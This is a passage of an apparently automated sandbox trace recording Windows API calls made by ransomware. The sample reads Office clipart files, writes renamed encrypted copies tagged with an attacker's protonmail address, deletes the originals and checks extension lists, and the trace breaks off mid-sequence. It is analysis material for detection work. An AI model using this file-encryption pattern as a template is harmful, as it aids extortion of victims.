	[0179.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0179.432] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.433] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.433] GetLastError () returned 0x0
	[0179.433] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x12ee, lpOverlapped=0x0) returned 1
	[0179.435] WriteFile (in: hFile=0x5bc, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x12f0, lpOverlapped=0x0) returned 1
	[0179.436] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.436] WriteFile (in: hFile=0x5bc, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0179.436] SetEndOfFile (hFile=0x5bc) returned 1
	[0179.436] CloseHandle (hObject=0x5bc) returned 1
	[0179.436] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.436] SetEndOfFile (hFile=0x514) returned 1
	[0179.439] CloseHandle (hObject=0x514) returned 1
	[0179.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1
	[0179.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.440] lstrlenW (lpString=".doc") returned 4
	[0179.440] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.440] lstrlenW (lpString=".docx") returned 5
	[0179.440] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.440] lstrlenW (lpString=".pdf") returned 4
	[0179.440] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.440] lstrlenW (lpString=".xls") returned 4
	[0179.440] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.440] lstrlenW (lpString=".xlsx") returned 5
	[0179.440] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.440] lstrlenW (lpString=".ppt") returned 4
	[0179.440] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.440] lstrlenW (lpString=".zip") returned 4
	[0179.440] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.440] lstrlenW (lpString=".rar") returned 4
	[0179.440] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.441] lstrlenW (lpString=".bz2") returned 4
	[0179.441] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.441] lstrlenW (lpString=".7z") returned 3
	[0179.441] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.441] lstrlenW (lpString=".dbf") returned 4
	[0179.441] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.441] lstrlenW (lpString=".1cd") returned 4
	[0179.441] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.441] lstrlenW (lpString=".jpg") returned 4
	[0179.441] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.441] lstrlenW (lpString=".doc") returned 4
	[0179.441] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.441] lstrlenW (lpString=".docx") returned 5
	[0179.441] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.441] lstrlenW (lpString=".pdf") returned 4
	[0179.441] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.441] lstrlenW (lpString=".xls") returned 4
	[0179.441] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.441] lstrlenW (lpString=".xlsx") returned 5
	[0179.441] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.441] lstrlenW (lpString=".ppt") returned 4
	[0179.441] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.441] lstrlenW (lpString=".zip") returned 4
	[0179.441] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.441] lstrlenW (lpString=".rar") returned 4
	[0179.441] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.442] lstrlenW (lpString=".bz2") returned 4
	[0179.442] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.442] lstrlenW (lpString=".7z") returned 3
	[0179.442] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.442] lstrlenW (lpString=".dbf") returned 4
	[0179.442] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.442] lstrlenW (lpString=".1cd") returned 4
	[0179.442] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0179.442] lstrlenW (lpString=".jpg") returned 4
	[0179.442] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.442] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0179.442] lstrlenW (lpString="FINCL_01.MID") returned 12
	[0179.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0179.443] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=12981) returned 1
	[0179.443] CloseHandle (hObject=0x514) returned 1
	[0179.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220
	[0179.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0179.443] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.443] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.444] GetLastError () returned 0x0
	[0179.444] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x32b5, lpOverlapped=0x0) returned 1
	[0179.541] WriteFile (in: hFile=0x5bc, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x32c0, lpOverlapped=0x0) returned 1
	[0179.542] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.542] WriteFile (in: hFile=0x5bc, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.543] SetEndOfFile (hFile=0x5bc) returned 1
	[0179.543] CloseHandle (hObject=0x5bc) returned 1
	[0179.543] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.543] SetEndOfFile (hFile=0x514) returned 1
	[0179.841] CloseHandle (hObject=0x514) returned 1
	[0179.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1
	[0179.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.843] lstrlenW (lpString=".doc") returned 4
	[0179.843] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.843] lstrlenW (lpString=".docx") returned 5
	[0179.843] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.843] lstrlenW (lpString=".pdf") returned 4
	[0179.843] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.843] lstrlenW (lpString=".xls") returned 4
	[0179.843] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.843] lstrlenW (lpString=".xlsx") returned 5
	[0179.843] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.843] lstrlenW (lpString=".ppt") returned 4
	[0179.843] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.843] lstrlenW (lpString=".zip") returned 4
	[0179.843] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.843] lstrlenW (lpString=".rar") returned 4
	[0179.843] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.843] lstrlenW (lpString=".bz2") returned 4
	[0179.843] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.843] lstrlenW (lpString=".7z") returned 3
	[0179.843] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.843] lstrlenW (lpString=".dbf") returned 4
	[0179.843] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.843] lstrlenW (lpString=".1cd") returned 4
	[0179.844] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.844] lstrlenW (lpString=".jpg") returned 4
	[0179.844] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.844] lstrlenW (lpString=".doc") returned 4
	[0179.844] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.844] lstrlenW (lpString=".docx") returned 5
	[0179.844] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.844] lstrlenW (lpString=".pdf") returned 4
	[0179.844] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.844] lstrlenW (lpString=".xls") returned 4
	[0179.844] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.844] lstrlenW (lpString=".xlsx") returned 5
	[0179.844] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.844] lstrlenW (lpString=".ppt") returned 4
	[0179.844] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.844] lstrlenW (lpString=".zip") returned 4
	[0179.844] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.844] lstrlenW (lpString=".rar") returned 4
	[0179.844] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.844] lstrlenW (lpString=".bz2") returned 4
	[0179.844] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.844] lstrlenW (lpString=".7z") returned 3
	[0179.844] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.844] lstrlenW (lpString=".dbf") returned 4
	[0179.844] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.844] lstrlenW (lpString=".1cd") returned 4
	[0179.845] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0179.845] lstrlenW (lpString=".jpg") returned 4
	[0179.845] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.845] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0179.845] lstrlenW (lpString="FINCL_02.MID") returned 12
	[0179.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0180.006] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=9318) returned 1
	[0180.006] CloseHandle (hObject=0x368) returned 1
	[0180.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220
	[0180.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.624] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.624] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.629] GetLastError () returned 0x0
	[0180.629] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2466, lpOverlapped=0x0) returned 1
	[0180.634] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2470, lpOverlapped=0x0) returned 1
	[0180.635] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.635] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.636] SetEndOfFile (hFile=0x36c) returned 1
	[0180.636] CloseHandle (hObject=0x36c) returned 1
	[0180.636] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.636] SetEndOfFile (hFile=0x514) returned 1
	[0180.638] CloseHandle (hObject=0x514) returned 1
	[0180.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1
	[0180.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.640] lstrlenW (lpString=".doc") returned 4
	[0180.640] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.640] lstrlenW (lpString=".docx") returned 5
	[0180.640] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0180.640] lstrlenW (lpString=".pdf") returned 4
	[0180.640] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.640] lstrlenW (lpString=".xls") returned 4
	[0180.640] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.640] lstrlenW (lpString=".xlsx") returned 5
	[0180.640] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0180.640] lstrlenW (lpString=".ppt") returned 4
	[0180.640] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.640] lstrlenW (lpString=".zip") returned 4
	[0180.640] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.640] lstrlenW (lpString=".rar") returned 4
	[0180.640] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.640] lstrlenW (lpString=".bz2") returned 4
	[0180.640] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.640] lstrlenW (lpString=".7z") returned 3
	[0180.640] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.640] lstrlenW (lpString=".dbf") returned 4
	[0180.640] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.640] lstrlenW (lpString=".1cd") returned 4
	[0180.641] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.641] lstrlenW (lpString=".jpg") returned 4
	[0180.641] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.641] lstrlenW (lpString=".doc") returned 4
	[0180.641] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.641] lstrlenW (lpString=".docx") returned 5
	[0180.641] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0180.641] lstrlenW (lpString=".pdf") returned 4
	[0180.641] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.641] lstrlenW (lpString=".xls") returned 4
	[0180.641] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.641] lstrlenW (lpString=".xlsx") returned 5
	[0180.641] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0180.641] lstrlenW (lpString=".ppt") returned 4
	[0180.641] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.641] lstrlenW (lpString=".zip") returned 4
	[0180.641] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.641] lstrlenW (lpString=".rar") returned 4
	[0180.641] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.641] lstrlenW (lpString=".bz2") returned 4
	[0180.641] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.641] lstrlenW (lpString=".7z") returned 3
	[0180.641] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.641] lstrlenW (lpString=".dbf") returned 4
	[0180.641] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.641] lstrlenW (lpString=".1cd") returned 4
	[0180.642] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0180.642] lstrlenW (lpString=".jpg") returned 4
	[0180.642] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.642] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0180.642] lstrlenW (lpString="OCEAN_01.MID") returned 12
	[0180.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.645] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=5440) returned 1
	[0180.645] CloseHandle (hObject=0x514) returned 1
	[0180.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220
